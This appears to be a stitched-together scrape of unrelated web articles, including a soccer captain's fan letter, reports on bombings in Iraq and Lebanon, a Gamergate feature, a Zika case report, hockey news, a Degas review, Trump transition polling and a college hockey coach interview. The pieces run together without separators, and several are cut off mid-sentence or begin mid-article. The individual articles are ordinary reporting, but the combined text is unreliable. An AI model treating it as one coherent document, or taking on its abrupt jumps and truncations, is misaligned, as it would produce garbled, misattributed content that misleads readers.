Wednesday will be no different. We will need you again. You might be at the stadium, at No Other Pub, watching from home or following our social media on the opposite side of the planet, but we will need you locked in for at least 90 minutes — and maybe more. The New York Red Bulls are a great team, and nothing about the match will be easy.
But we’re used to that, aren’t we?
Like each of you, I was a spectator when the team battled down a man for more than 80 minutes against FC Dallas in the quarterfinals — just a few days after our co-owner Neal Patterson passed away. I still get chills thinking about that game — the way the team rallied against the odds and performed so tirelessly, so bravely. But it was only possible because you, the fans, propelled our guys across the finish line.
Somehow, the semifinals against San Jose were just as magical. Together we grinded through adverse periods, survived a few scares and created more than a few chances ourselves. Then came penalty kicks. And we all know what happens in penalty kicks at Children's Mercy Park.
It should be considered an honor to host a Final. Some fan bases never get the chance. But you deserve this honor. You've played such an important role in getting us here. Your pride, loyalty and support make us lucky to be a part of this club. As a proud Kansas Citian, I am humbled to represent my hometown every time I step on the pitch.
Tomorrow night we hope to see you decked in Sporting blue at the Open Cup pep rally in the Power & Light District.
And come Wednesday, let’s do this together, just like we’ve done in the past. Wear your Sporting swag to school or work. Follow your superstitions if you’re superstitious. Rest up throughout the day; it might be a late evening. And by 8 p.m., be ready to chant and cheer and cry and push us to even greater heights.
Together, let's paint the wall.
For the glory of the city,
Matt BeslerSEOUL, Sept. 12 (Korea Bizwire) – The Seoul Metropolitan Council passed a new amendment bill earlier this month that will discourage the use of hate speech in schools under the city’s new student rights ordinance.
Back in March, an elementary school teacher caused controversy after calling a student with an ethnic minority background ‘China’, as well as joining other students in calling the child the racially motivated nickname.
Despite a growing number of similar cases of discrimination based on sex, religion, nationality and sexual orientation being reported amid an increase in the number of multicultural households in the country, education authorities had little to no grounds to intervene.
With the new reform bill that passed earlier this month, education authorities will have more power to deal with hate speech incidents at schools in the South Korean capital.
Despite not having legal power, the new amendment to the city’s student rights ordinance could work as a set of guidelines for school officials to take into consideration when dealing with discrimination cases at school.
Kim Gyeong-ja, the official who proposed the amendment, said, “Discrimination and hate speech can hinder students’ ability to grow into members of a democratic society.
“We want to create an environment where school members refrain from using hateful expressions to discriminate against others.”
According to the Seoul Metropolitan Office of Education, the number of complaints of discrimination during the student rights counseling application process filed by students from 2012 to the second quarter of this year amounted to 143 cases.
Over the same period of time, there were 766 complaints filed by students who experienced verbal abuse, accounting for 17 percent of all complaints.
Data from last year shows nearly one in four applications for counseling and help services were to do with discrimination and verbal abuse, reflecting the growing use of sexist and discriminatory terms on the internet in recent years.
The use of sexist terms like ‘Kimchi Nyeo (kimchi woman)’ and ‘Hannam-Chung (Korean male pest)’, as well as other derogatory terms aimed at socially marginalized members of society such as disabled people has been on the rise in recent years.
“With the new amendment bill, we now have grounds to treat hate speech as a breach of human rights. It’s meaningful in that the Ministry of Education can now play a more active role in dealing with discrimination at school,” said Yun Myeong-hwa, an official at the Seoul Metropolitan Office of Education.
Hyunsu Yim (hyunsu@koreabizwire.com)Media playback is unsupported on your device Media caption The attack in Baquba is the second targeting Iraq's security forces in two days
A suicide bomber used an ambulance to attack a police compound in central Iraq, killing up to 14 people, officials said.
Scores more were wounded in the attack in Baquba - the second targeting Iraq's security forces in two days.
On Tuesday, a suicide bomber killed about 60 people at a police recruitment centre in Tikrit, the hometown of former Iraqi leader Saddam Hussein.
Violence in Iraq has ebbed in recent years, but deadly attacks persist.
Both Baquba - 65km (40 miles) north-east of Baghdad - and Tikrit are within what is known as the Sunni Triangle, a stronghold of Iraq's insurgency.
'Bodies buried'
Most of those killed in Wednesday morning's attack were police officers, officials said.
One report said two attackers were involved. One stepped out of the ambulance and opened fire on guards at the entrance of the city's special security police centre before the vehicle was driven into the compound and detonated, reports said.
More than 60 injuries were reported, and more people are said to be buried under rubble after the explosion caused a building to collapse.
Timeline: Recent Iraq attacks 25 August 2010: String of attacks targeting Iraqi security forces and checkpoints across the country kill more than 50
19 September 2010: Series of bomb attacks in two neighbourhoods of Baghdad kill more than 20
31 October 2010: Botched hostage-taking at Our Lady of Salvation Syriac Catholic church in Baghdad kills 50
2 November 2010: Series of Baghdad bomb attacks kill 70 people
18 January 2011: Suicide bomb attack on Tikrit police recruitment centre kills at least 60
"There are more bodies buried in the ruins," a spokeswoman for Diyala's governor told Reuters news agency.
The injured included a number of children from a nearby kindergarten, said provincial spokeswoman Samira al-Shibli.
Iraqi police and army recruiting centres are often targeted by suicide bombers.
About an hour later in the nearby town of Ghalbiyah, a suicide bomber targeted a crowd of Shia pilgrims walking from Baghdad to the holy city of Karbala, killing at least two and injuring 15.
Among the wounded was the deputy head of Diyala's provincial council, Sadiq al-Husseini, and three of his bodyguards, reports said.
Anti-Shia attacks had been feared ahead of next week's commemoration of Arbaeen - a 40-day mourning period observed by Shia Muslims for Imam Hussein, a grandson of the Prophet Muhammad killed at the battle of Karbala in the 7th Century.
Security has been stepped up ahead of the climax of the Shia pilgrimage next week, when hundreds of thousands of pilgrims are expected to converge on Karbala.
Overall violence in Iraq has fallen sharply since the height of the sectarian killings of 2006-07, but shootings and bombings remain a daily occurrence.
US forces formally ended their combat operations last August, ahead of a planned full withdrawal later this year.photo courtesy of Zoe Quinn
I just spent a few days trying to schedule a conversation with Zoe Quinn, the game developer whose personal life recently became a trigger point for millions of discussions of gamer misogyny. Contacting her wasn't easy. Even after she told me how to get a hold of her by phone, I knew I was calling a number that had been leaked onto the internet in order to harass her, so delays were understandable. I would be cautious if I were her. To make matters worse, a couple weeks prior, I had written an article about her ex-boyfriend, a guy I thought was just a young and naive computer nerd who pulled a dipshit move when he wrote a novel-length blog trashing her.
When I finally got her on the phone, she sounded uneasy. "I’m still kind of couch surfing, because threats are still coming in, friends and family of mine are still being targeted," she said. When I asked her if she was working, she told me she was starting to, and that it was "an enormous relief."
If you haven't been paying attention to #Gamergate, I can't blame you. August was a very bad month for gaming, gamers, and games. If anything about this garbage made it to your news feed despite your being someone who doesn't pay much attention to the gaming world, it was that gamer guys were ganging up on gamer feminists for some reason. It's been the kind of story most people avoid because it combines the "This makes me ashamed just to be human," aspect of a college rape scandal, with the "I have no frame of reference for this," aspect of a labor dispute in the waste management industry.
But it's been a fast-moving, and surprisingly earth-shattering piece of news, considering it stems mainly from the internet rage of a bunch of poopypants babies. The shock waves are beginning to be felt, and the significance goes right to the core of the gaming industry. Quinn says the scandal has "morphed into something else. It roped well-meaning people who cared about ethics and transparency into a preexisting hate mob. And now, I’m not sure what the hell it is."
The seeds of #Gamergate were planted early last year, when an indie game called Depression Quest got good reviews, despite its lack of machine guns, and emphasis on feelings rather than making aliens explode. Gamers had furrowed their brows suspiciously at such flukes in the past, and there was a limited negative reaction to Depression Quest. Some gamers even got abusive, but it apparently didn't merit mainstream headlines. Months later, though, when a blog post decried Quinn as a figure of "corruption," who slept her way to positive reviews for her game, it was gaming's Benghazi moment.
The anger that erupted when Zoe Quinn was (probably falsely—not that it matters) accused of boning game journalists for good press (a series of events known online as the "Quinnspiracy"), has turned #Gamergate into a dog-whistle codeword that lets those in the gamer population who are misogynists to couch their adolescent rage at women in concern about the purity of games journalists' motives in reviewing games.
Despite the low stakes, reactions to the allegations against Quinn were intemperate to say the least. Every forum where games are discussed online temporarily shifted its focus to the scandal, if you must call it that. The loudest and most immature man-children in the gamer world had previously been directing their rage at Anita Sarkeesian, a feminist who hosts a web series about games. Threats and harassment of Sarkeesian and other social justice warriors (SJWs) had been an ongoing embarrassment that sane gamers tried to distance themselves from. When the Quinnspiracy broke out, hating a woman suddenly had a moral component. The whole SJW movement was ostensibly a fraud, and she was the smoking gun that proved it.
The horde of angry teenagers expressed itself in the usual ways—angry Twitter jokes about rape, angry forum posts calling her a cunt, and epic mansplanations on YouTube. The vastness of the movement to discredit her was immense. "They use astroturfing techniques to make a bunch of Facebook accounts, all have each other tweet each other, drum up this false sense of grassroots movement stuff, to make something seem bigger than it is. And that hits you like a tidal wave," she said.
That provoked some media coverage, including—after a couple of weeks—my own. Despite trying to give her ex the benefit of the doubt in the article, I even experienced a taste of what I started calling the "anime avatar brigade," on my own Twitter account. The minor troll infestation in my Twitter notifications tab was probably childs' play by comparison to Quinn's.
"I try to have |
protective regulations are not likely to be as constrained as they might have been a decade ago,” he added.
EPA RULE NOT ARBITRARY
Asarco contended that the D.C. Circuit gave the EPA an effective license to set needlessly stringent environmental standards, rather than standards “not lower or higher” than necessary as it said was required under Supreme Court precedent.
But in upholding the new standard, the D.C. Circuit said it lacked jurisdiction to review the EPA’s rulemaking and that the agency did not act arbitrarily or unreasonably.
Sulfur dioxide is typically the result of fossil fuel combustion at power plants and other industrial facilities. The EPA had first set sulfur dioxide standards in 1971.
The U.S. Department of Justice had urged the Supreme Court not to accept Asarco’s appeal. Freeport-McMoRan Copper & Gold Inc, the world’s largest publicly traded copper producer, filed a brief supporting Asarco’s appeal.
Robert Steinwurtzel, a lawyer for Asarco, did not immediately respond to a request for comment. John Elwood, a lawyer for Freeport-McMoRan, declined to comment.
Uhlmann said courts are typically reluctant to get immersed in the nuts-and-bolts of environmental decision making, recognizing the EPA’s greater expertise.
“The Supreme Court is far more likely to get involved when the issue is the authority to regulate,” he said.
The case is Asarco LLC v. U.S. Environmental Protection Agency et al, U.S. Supreme Court, No. 12-510.(UPDATED) The case of this married woman, who is in her 40s, is the first confirmed local transmission in the Philippines this year. Doctors have been dispatched to Iloilo to look for other cases.
Published 4:47 PM, September 05, 2016
MANILA, Philippines (3rd UPDATE) – The Department of Health (DOH) reported on Monday, September 5, that a woman from Iloilo City recently tested positive for the Zika virus – the first confirmed local transmission in the Philippines.
This is also the 6th laboratory-confirmed case of Zika in the Philippines since 2012, Health Undersecretary Gerardo Bayugo told reporters earlier on Monday.
Secretary Paulyn Ubial confirmed later in the afternoon that the patient is 45 years old, married, and is not pregnant.
"This case was most likely due to local transmission since there was no history of travel to any affected country in the past two weeks," she said.
"On August 31, she presented with skin rash and joint pains not accompanied by fever. She was confined in a local hospital where urine and blood were collected. She was subsequently discharged the following day. She tested positive for both specimens," Ubial said.
"Currently, she is at home recovering from her very mild illness. The tests were done at RITM. The Department of Health (DOH) expects additional cases after intensifying its surveillance efforts."
In a press conference in the afternoon, DOH Undersecretary Eric Tayag explained that local transmission means "when you get the infection now, you had no history of travel to an affected country."
The concern with Zika is usually the transmission of the virus from the mother to her baby, Tayag said.
Zika, which resembles a light case of the flu, is transmitted by mosquito species found in tropical and sub-tropical regions: Aedes aegypti and Aedes albopictus, or tiger mosquitoes. (READ: 2.6 billion people in Zika risk areas in Africa, Asia – study)
The disease is strongly suspected of causing birth defects such as microcephaly and other brain deformities in newborns.
However, since the patient in Iloilo is not pregnant, "the only way she can spread it to others is by sexual transmission," Tayag said.
Since Zika virus can also be spread by sexual contact, Bayugo said it is likely that the patient’s husband will also be tested.
Earlier, the DOH urged pregnant women to avoid travel to Singapore, where 215 Zika cases have been reported.
The health department has been strictly monitoring overseas Filipino workers and travelers who are coming in from 5 Asian countries: Singapore, Malaysia, Hong Kong, Indonesia, and Thailand.
Tayag said on Monday that a team of doctors are in Iloilo to look for other possible Zika cases.
He clarified that the DOH does not require isolation or quarantine for suspected cases. "It's just monitoring their signs and symptoms."
"If you have skin rash, joint pains or conjunctivitis, you have to visit a health facility so we can collect the right specimens," Tayag said. – with a report from Jee Y. Geronimo/Rappler.com
The Zika virus is dangerous, so make sure to keep yourself safe and healthy all the time. Click here to see great deals on health products for you and your loved ones.Former Sharks assistant coach Matt Shaw didn’t stay unemployed for long.
Released by San Jose earlier this month, Shaw landed in a similar position with the New Jersey Devils on Tuesday, essentially replacing Adam Oates on the staff of head coach Peter Deboer.
Oates left the Devils after they reached the Stanley Cup finals to take the top job with the Washinton Capitals.
Shaw’s duties in San Jose included guiding the NHL’s second-best power play and reports from New Jersey are that he will have the same role there.
The Sharks announced Shaw would not be back two days after the hiring of Larry Robinson as an associate coach. Robinson also was with New Jersey last season and his job there was filled by longtime Devils defenseman Scott Stevens.The Lexicon of Comicana is a 1980 book by the American cartoonist Mort Walker. It was intended as a tongue-in-cheek look at the devices used by cartoonists. In it, Walker invented an international set of symbols called symbolia after researching cartoons around the world. In 1964, Walker had written an article called "Let's Get Down to Grawlixes", a satirical piece for the National Cartoonists Society. He used terms such as grawlixes for his own amusement, but they soon began to catch on and acquired an unexpected validity. The Lexicon was written in response to this.
The names he invented for them sometimes appear in dictionaries, and serve as convenient terminology occasionally used by cartoonists and critics. A 2001 gallery showing of comic- and street-influenced art in San Francisco, for example, was called "Plewds! Squeans! and Spurls!"[1]
Examples [ edit ]
Agitrons : wiggly lines around a shaking object or character
: wiggly lines around a shaking object or character Blurgits, swalloops : curved lines preceding or trailing after a character's moving limbs
: curved lines preceding or trailing after a character's moving limbs Briffits : clouds of dust that hang in the wake of a swiftly departing character or object
: clouds of dust that hang in the wake of a swiftly departing character or object Dites : diagonal, straight lines drawn across flat, clear and reflective surfaces, such as windows and mirrors
: diagonal, straight lines drawn across flat, clear and reflective surfaces, such as windows and mirrors Emanata : lines drawn around the head to indicate shock or surprise
: lines drawn around the head to indicate shock or surprise Grawlixes : typographical symbols standing in for profanities, appearing in dialogue balloons in place of actual dialogue [2]
: typographical symbols standing in for profanities, appearing in dialogue balloons in place of actual dialogue Hites : horizontal straight lines trailing after something moving with great speed; or, drawn on something indicating reflectivity (puddle, glass, mirror)
: horizontal straight lines trailing after something moving with great speed; or, drawn on something indicating reflectivity (puddle, glass, mirror) Indotherm : wavy, rising lines used to represent steam or heat
: wavy, rising lines used to represent steam or heat Lucaflect : a shiny spot on a surface of something, depicted as a four-paned window shape
: a shiny spot on a surface of something, depicted as a four-paned window shape Plewds : flying sweat droplets that appear around a character's head when working hard, stressed, etc.
: flying sweat droplets that appear around a character's head when working hard, stressed, etc. Quimps : planets resembling Saturn, used to replace obscenities
: planets resembling Saturn, used to replace obscenities Solrads : radiating lines drawn from something luminous like a lightbulb or the sun
: radiating lines drawn from something luminous like a lightbulb or the sun Squeans : little starbursts or circles that signify intoxication, dizziness, or sickness
: little starbursts or circles that signify intoxication, dizziness, or sickness Vites: vertical straight lines indicating reflectivity (compare dites, hites)
Additional symbolia terms include whiteope, sphericasia, that-a-tron, spurls, oculama, crottles, maledicta balloons, farkles, doozex, staggeration, boozex, digitrons, nittles, waftaroms, and jarns.
See also [ edit ]
References [ edit ]
Bibliography [ edit ]
Steve Edgell, Tim Pilcher, Brad Brooks, The Complete Cartooning Course: Principles, Practices, Techniques (London: Barron's, 2001), pp. 50–51, ISBN 978-0764113185Advertisement - Continue Reading Below
First discovered by commenters at Jalopnik, the configurator site seems to be a half-built page not meant for public consumption. But while some images and links are broken, the ones we’re interested in all seem to work—namely, the ones that let us click into the Ford Focus subpage and select the RS trim level, with the listed base price of $35,730 and $875 for destination and delivery.
According to the site, the Focus RS comes stock with 18-inch painted aluminum wheels; the upgrade to 19-inch painted forged alloys will set you back $1395, while selecting those 19s wrapped in Michelin Pilot Sport Cup tires runs $1990. To our eyes, $595 ain’t bad for a set of Michelin Cups considering they typically run more than $350 each.
Inside, a 10-speaker Sony stereo and partial leather Recaros are standard equipment. Black leather and microsuede upholstery comes as part of the $2785 RS2 package, an option group whose description wasn’t fully populated at time of writing, but which seems to include voice-activated navigation, SiriusXM Traffic, and Travel Link. A power moonroof costs $895. Other option subpages, like Packages and Accessories, were nonfunctional at the time of publication.
If you ask us, $36,605—provided that’s the actual price—seems like a fair deal for an all-wheel-drive, rally-inspired superhatch with 345 horses, 325 lb-ft of torque, and a button for Drift Mode.Latino activists arrested while canvassing in white neighborhood sue CPD
A pair of young Latino political activists who were arrested and charged by Chicago Police while canvassing in a white neighborhood on the Southwest Side last year have filed a federal lawsuit, alleging they were racially profiled.
Students Kevin Tapia, 20, and Felipe Hernandez, 21, say they were handcuffed, held for three hours and charged with “soliciting unlawful business” for going door-to-door in Garfield Ridge and asking residents to sign a petition in favor of a progressive income tax in Illinois.
The municipal charges were dropped two months later after their supporters staged a letter-writing campaign, but both men say they fear the arrest record could hurt them and that they are angry at how police treated them.
“They automatically convicted us on the spot,” said Hernandez, who added that he and Tapia both had identification and had explained that they were doing political work to the four officers who arrested them. All the officers were white. None of the residents whose doors they had knocked on had shown any hostility toward them, he said.
“I was shocked to be arrested,” said Tapia, an Ecuadorian immigrant who is studying at the Illinois Institute of Technology. “Especially for engaging in a lawful activity.”
Tapia — who said he was also telling Garfield Ridge residents about the deadlines to sign up for health insurance under “Obamacare” — said he’s worried the arrest could affect his immigration status and ability to find work when he graduates.
“This arrest was simply unfair, unjust and simply outrageous,” he said.
But Chicago Police spokesman Marty Maloney said that “CPD expressly prohibits racial profiling or any other bias-based policing.
“This matter stemmed from a 911 call made by a city resident, and there is no basis to suggest that this is indicative of anything other than that.”
A police source said that the neighborhood had suffered a series of door-to-door scams in the weeks leading up to the arrests of Tapia and Hernandez, and that the officers were concerned that neither man could provide identification from the organization that they worked for, or the name of their supervisor.
But activists at a news conference Tuesday morning denied that, connecting the arrests to high-profile national disputes about police use of racial profiling.
Amisha Patel, the executive director of the left-wing pressure group that Tapia and Hernandez were canvassing for, Grassroots Collaborative, said, “It is the right and duty of citizens to talk to their neighbors about the issues they feel strongly about.”
Patel said that the arrests of Tapia and Hernandez are a concern for activists who want to participate in the upcoming city elections.
“Are they in danger of getting arrested for door-knocking and talking to their neighbors about the things that they care about?” Patel asked.
“The CPD needs to admit their mistake, they need to apologize and they need to work to make sure something like this does not happen again.
“We all deserve to live in a city where we can talk to anybody in any neighborhood, especially if they are young men of color who are working to make their communities better.”Another bass legend has left us with the passing of Funk Brother Bob Babbitt, as the iconic bassist succumbed to complications from a brain tumor which was discovered last year. He was 74.
Along with fellow low-ender James Jamerson, Babbitt was the foundation for the Motown Sound and played on over 200 Billboard Hot 100 Top 40 hits. His undeniable groove and tone can be heard on such songs as Marvin Gaye’s “Mercy Mercy Me (The Ecology),” Stevie Wonder’s “Signed, Sealed, Delivered I’m Yours,” “Midnight Train to Georgia” by Gladys Knight and the Pips, The Spinners’ “Rubberband Man,” and many more.
Born in Pittsburgh, Pennsylvania, Babbitt was trained in classical double bass but became heavily influenced by early rhythm and blues and began playing in local nightclubs. In 1961 he moved to Detroit where he joined The Royaltones, ultimately beginning his career into the city’s studio scene. His incredible recording career eventually took him to New York in 1973, and later to Nashville.
Babbitt was honored last month with a star on Nashville’s Music City Walk of Fame for his incredible career.
“The records that Bob played on have not only become hit records; they have become their own genre,” said Musicians Hall of Fame president Joe Chambers. “Much like the music of the A Team became known as the Nashville Sound, the music of the Funk Brothers became the sound of Motown. There are very few musicians whose music has impacted so many generations with no signs of slowing down. Bob Babbitt and the Funk Brothers have done just that.”
Our thoughts are with the family and friends of Bob Babbitt.Edgar Degas: A Strange New Beauty an exhibition at the Museum of Modern Art, New York City, March 26–July 24, 2016 Catalog of the exhibition edited by Jodi Hauptman
Museum of Modern Art, 239 pp., $50.00
Edgar Degas was a paradoxical man, disconcerting in both his actions and his appearance. “With his silk hat on his head, his blue spectacles over his eyes—not to forget the umbrella—he is the image of a notary, a bourgeois of the time of Louis-Philippe,” according to Paul Gauguin.1 A notary, really? Not to the eyes of Paul Valéry, who describes him opening the door of his atelier, “shuffling about in slippers, dressed like a pauper, his trousers hanging, never buttoned.”2 The portrait painter Jacques-Émile Blanche saw him as neither a bourgeois nor an artist, but as
a platoon commander on a drill field; if he makes a gesture, that gesture is imperious, as expressive as his hand in drawing; but he quickly retreats to a pose as defensive as that of a woman concealing her nakedness, the habit of a solitary soul who veils or protects his personality.3
Degas himself, toward the end of his life, nearly blind, painted a self-portrait and said that he looked like an old dog, while his friend the sculptor Bartholomé found him to be “more beautiful than ever, like an old Homer with his eyes fixed on eternity.”4
He never had one quality without having its opposite:
Degas could be charming or unpleasant. He possessed—and affected—the worst possible disposition; yet there were days when he was quite unpredictably delightful.5
Such was the opinion of Valéry. A confirmed bachelor with a thirst for tidiness, he dreamed, as he told his friend Henri Rouart, of “having everything, well organized (à la Poussin),”6 but he was perfectly capable, although he spent days at a time alone in his atelier, of painting in the pandemonium of a family home like his brother’s, in Louisiana, “in an impossible light, constantly disturbed, with models full of affection but a little sans-gêne,”7 or at the home of the Morisot family where, in the midst of the comings and goings of a stream of visitors, he quickly completed a ravishing portrait of Berthe Morisot’s sister, Yves. Degas’s work was of such complexity that he had difficulty letting it go while he could still glimpse a vast array of possibilities that he was determined to explore. He was capable of revising a dancer’s leg ten or twenty times and then just one last time but, as Valéry put it, had
political views that were simple, peremptory, and essentially Parisian…. With the advent of the Dreyfus affair, he was quite beside himself. He would bite his nails. He would listen for the slightest hint of what he suspected, would burst out, make a clean break at once: “Adieu monsieur…” and turn his back on the enemy forever.8
He broke off all relations with…ENIG, in collaboration with the University of Maryland’s Department of Physics, has been selected and awarded by the U.S. Air Force Research Laboratory’s (AFRL) Space Vehicles (RV), Kirtland AFB, NM to design a space plasma generator payload for low Earth orbit (LEO) insertion.
ENIG will provide an innovative and novel electrical approach, using in-house designed explosive-driven flux compression generators (FCG) to convert explosive chemical energy into electromagnetic energy with very high current output and superb energy conversion efficiency.
“We’re going to take mega-amps of energy and then Joule-heat a light metal load through multi-phase transitions to generate artificial man-made plasma cloud in the ionosphere”, said ENIG President, Eric N. Enig.
The target plasma cloud, according to Enig, will be composed of 1025 ion-electron pairs of a few eV temperature propagating initially as a hemispherical shell, cylindrical shell, or plasma jet depending on the choice of load material and geometry.
Both theoretical and computational tools will be utilized in designing an integrated generator device whose form factor fits inside an air-launched vehicle or sounding rocket.
Citing a Letter of Support from DARPA’s Tactical Technologies Office (TTO), Enig noted that, once proven successful and constructed for space flight, “the space plasma generator can be used to smooth out ionosphere disturbances to assure reliable communications and navigation in-theater, or to provide novel capabilities for RF systems.”
(For more information, contact media@enig.com.)We’ve reported about eco fashion trends ranging from solar powered clothes to attire made using recycled wine corks and the newest on the same lines is clothing made using recycled aluminum can pull tabs. Created by Pennsylvania-based Michael Mixell of Pull My Tabs, the quirky clothing range includes everything from neckties to entire dresses made using the same raw materials. Each item requires a lot of pull tabs, with the shirt consisting of 2478 pull tabs alone.
The artist doesn’t just design the clothing for art shows, but sells them too, hoping to find buyers who don’t really want their clothes to be made only from fabric. Moreover, if you are one of those who don’t throw away cans right after the drink inside is finished, you can help Michael in making these unique clothes by donating tabs.
- Swipe left/right to see more
Via: Laughing SquidDonald Trump is struggling to win over Americans who spurned him in last month’s election — a significant departure from past presidents-elect who enjoyed broad support even after controversial victories.
Americans remain sharply divided in their feelings toward Trump, according to recent polls, and a new Gallup survey out Wednesday shows Americans are now split on Trump’s White House-in-waiting, putting him at risk of entering the presidency with much of the country lined up against him, his team and his key initiatives.
Story Continued Below
Previous presidents earned high marks for how they handled their transitions and enjoyed brief honeymoons upon entering the Oval Office. But in the Gallup poll, 48 percent of Americans said they approve of the way Trump is handling his transition — the same percentage that disapproves of Trump’s performance as president-elect. That contrasts with now-President Barack Obama’s 75 percent approval rating in mid-December 2008.
It’s also considerably worse than former President George W. Bush’s ratings during his truncated transition after the bitterly contested 2000 election. In early January 2001, nearly two-thirds of Americans, 65 percent, approved of Bush, who took office after losing the popular vote in a disputed race.
Trump lags his predecessors in large part because Democrats aren’t warming to him. Only 17 percent of self-identified Democrats approve of how Trump is handling the transition, along with just 46 percent of independents.
During the Obama transition, a majority of Republicans supported the newly elected president — 53 percent approved, joined by three-quarters of independents. And even 46 percent of Democrats got behind Bush after the Supreme Court intervened to halt the recount in Florida.
Voters’ grades for Trump were better in a McClatchy-Marist poll, also released on Wednesday. Forty-nine percent of registered voters — 88 percent of Republicans and 18 percent of Democrats — approve of the job Trump is doing on the transition. That’s larger than the 42 percent — 73 percent of Democrats but only 6 percent of Republicans — who disapprove.
Still, that lags Obama’s scores in a similar December 2008 Marist poll: Sixty-three percent approval to 10 percent disapproval.
Mixed perceptions and impressions of Trump extend beyond his transition. The HuffPost Pollster average of Trump’s favorability tilts negative: Forty-six percent favorable, versus 48 percent unfavorable. And in the four most recent surveys, Trump’s unfavorable rating has been 50 percent or greater, including the newest POLITICO/Morning Consult survey.
In that poll, conducted Dec. 8-11, 45 percent of registered voters viewed Trump favorably, and 51 percent had an unfavorable opinion of him. That’s better than Trump’s historically low favorability rating on Election Day, but only modestly.
And resistance to Trump remains strong. The percentage of voters who had a “very unfavorable” opinion of Trump, 39 percent, was much larger than the 26 percent who had a “very favorable” opinion of him.
Similar to the Gallup survey, self-identified Democrats continue to be among the most hostile to Trump. Fully 70 percent of Democrats have a “very unfavorable” impression of Trump in the POLITICO/Morning Consult poll.
Enthusiasm for Trump lags well behind. Only 56 percent of self-identified Republicans — and the same percentage of Trump voters — have a “very favorable” opinion of the president-elect.
That combination — resistant Democrats and unenthusiastic Republicans — has denied Trump the broad popularity past presidents-elect have enjoyed. In early January 2009, a Gallup survey showed Obama with a 78 percent favorability rating. Even Bush’s personal favorability hit 62 percent in the days before his inauguration in 2001.
Trump’s transition has mostly been dominated by personnel decisions. He has thus far tapped the majority of his Cabinet and some of his White House staff.
Many of Trump’s Cabinet choices have come from the private sector — such as Rex Tillerson, Trump’s pick for secretary of state — and are unknown to most Americans. The only two Cabinet picks with significant public presences are two of Trump’s one-time rivals for the GOP nomination: Energy Secretary-designate Rick Perry and Housing and Urban Development Secretary-designate Ben Carson.
But neither is broadly popular enough to provide Trump with a halo. Before Perry, the former Texas governor, ended his campaign last year, Gallup found only 24 percent of Americans had a favorable opinion of him in late August and early September 2015, fewer than the 37 percent who viewed him unfavorably.
Carson’s favorables were higher before he wrapped up his campaign in February of this year: Forty-one percent, compared to 29 percent unfavorable.
Many of Obama’s picks during his transition were equally unknown to the public, but his selection of Clinton as secretary of state earned him high marks. While Clinton’s favorable ratings at the close of this year’s campaign were poor, 65 percent of Americans had a positive impression of her in early January 2009.
Gallup, in its release on Wednesday, notes that approval ratings for the transitions of presidents-elect typically run ahead of their initial approval ratings as president. Obama’s transition approval was at 75 percent in December 2008 and ticked up to 83 percent on the eve of his inauguration. But his initial job-approval rating was just 68 percent. Bush’s transition approvals were above 60 percent, but he debuted at 57 percent approval after taking office. Former President Bill Clinton’s transition was viewed favorably by roughly two-thirds of Americans, but he opened his presidency with 58 percent approval.
With Americans polarized so sharply on Trump’s transition, the new president will almost assuredly be denied the honeymoon Obama, Bush and Clinton enjoyed. But his approval rating could also be more durable in the early days of his presidency, avoiding the 5-to-10-point drop Obama, Bush and Clinton saw.At least 47 people are dead and over 500 others are wounded tonight after a pair of bombings targeted major Sunni mosques in the northern Lebanese city of Tripoli, a city which has been at the center of a lot of sectarian fighting in recent months.
So far there has been no claim of responsibility for the attacks, and while one of the mosques is directly next to the home of Prime Minister Najib Miqati, he was not in the city at the time and it isn’t clear if he was an intended targeted.
The attack comes just a week after a car bombing targeting a Shi’ite neighborhood in southern Beirut killed 24 people, and could also be an attempt at “retaliation” for that strike, though Hezbollah has publicly condemned today’s attacks and is urging calm.
A lot of Tripoli’s sectarian violence is direct spillover from the Syrian civil war, as the city’s population, much like Syria’s, is predominantly Sunni with an Alawite minority. This usually amounts to exchanges of gunfire in between the two sect’s respective neighborhoods, however, and major bombings are extremely unusual, and would be a huge escalation if it ends up being part of the city’s ongoing fighting.
Last 5 posts by Jason DitzRick Bennett was a professional hockey player and currently one of the best college hockey coaches around. In 1986 he was drafted by the Minnesota North Stars, he played 4 years at Providence and after his final college game he quickly signed a contract with The New York Rangers. A great achievement for any player but Rick believes it was like "a cup of coffee".
After a decade of professional play, he decided to go down the route of coaching. In 2011 he took over the head coaching position at Union College,@UnionHockey, and has not looked back on his decision. He has tallied an overall record of 81-27-16, included the upset over Boston University this past weekend and the National Championship won in 2014.
This week I sit down with Rick to discuss the ins and outs of what it takes to be an NCAA hockey coach. We get into the differences between the college game and the professional level, what is expected of you as a college staff member and what type of players he spends his time recruiting.
You may realize with some of these questions that the interview is a bit behind on the times, so I apologize of the lateness. However college hockey is in full swing and I could not be more excited!
________________________________________________________
4LH: Hey Rick, thank you for taking the time to talk with us. I understand it’s a busy time for you so let us just begin.
Rick Bennett (RB): No problem, it is a pleasure.
Before your coaching debut, you were a player for pretty much your entire life. What inspired you to play the game?
RB: Growing up in Massachusetts everyone in the neighborhood was playing hockey in the streets. And that kind of led to pond hockey. Our pond was only down the block and we were fortunate because it would typically be the first to freeze and the last one to thaw, it was pretty nice.
Was hockey the only sport around or were there others you guys got into?
RB: No, no, it was number one in my area but we had plenty of kids play a bunch of sports like football and baseball. Hockey was also a seasonal game, many of us went right over to baseball during the spring and summer but hockey was number 1. It wasn’t always number one for me, that could be debatable but for the most part it was.
Going back to your playing days, what was your greatest memory while you laced up the skates?
RB: Oh boy, well there are a few. I still say, as a player to this day wining my high-school championship was on par for me with winning the NCAA national championship as a coach. Two big accomplishments but one was done as a player and the other part of a coaching staff. Sure, playing in the National Hockey League was nice but it really was just a cup of coffee.
So what drove you into a career of coaching?
RB: I came to a crossroads in my pro career, and I had a decision to make. Stay in the AHL or move down south to become a player-assistant. I played 5 years in the American Hockey League and figured I give coaching a try. I spent a year in Jacksonville, Florida as a Player Assistant and it was one of the best things I decided to do. After some coaching experience I moved onto Providence and now I am at Union.
Since you joined Union, it has been one a steady growth down the path of success including a National Championship. What can you contribute to this?
RB: I will tell anybody, it’s the players. Before I came into the program we had a core group of returning players who were ready for the challenge. The players were all very well coachable; they were all ready to be coached. Some people will also say good things need to happen, but I say GREAT things need to happen. They really believed in themselves. They were very good players, coachable and the biggest thing is just belief.
The championship roster was a great mix of returning guys and newcomers. It was a nice mix and we really came together at the right time.
(The 2014 Frozen Four Championships was the first full national hockey tournament I watched and was rooting for Union from the start – being a local NYer!)
Speaking of newcomers, how does your scouting system work? Do you have a staff, or are you going around the country looking at players?
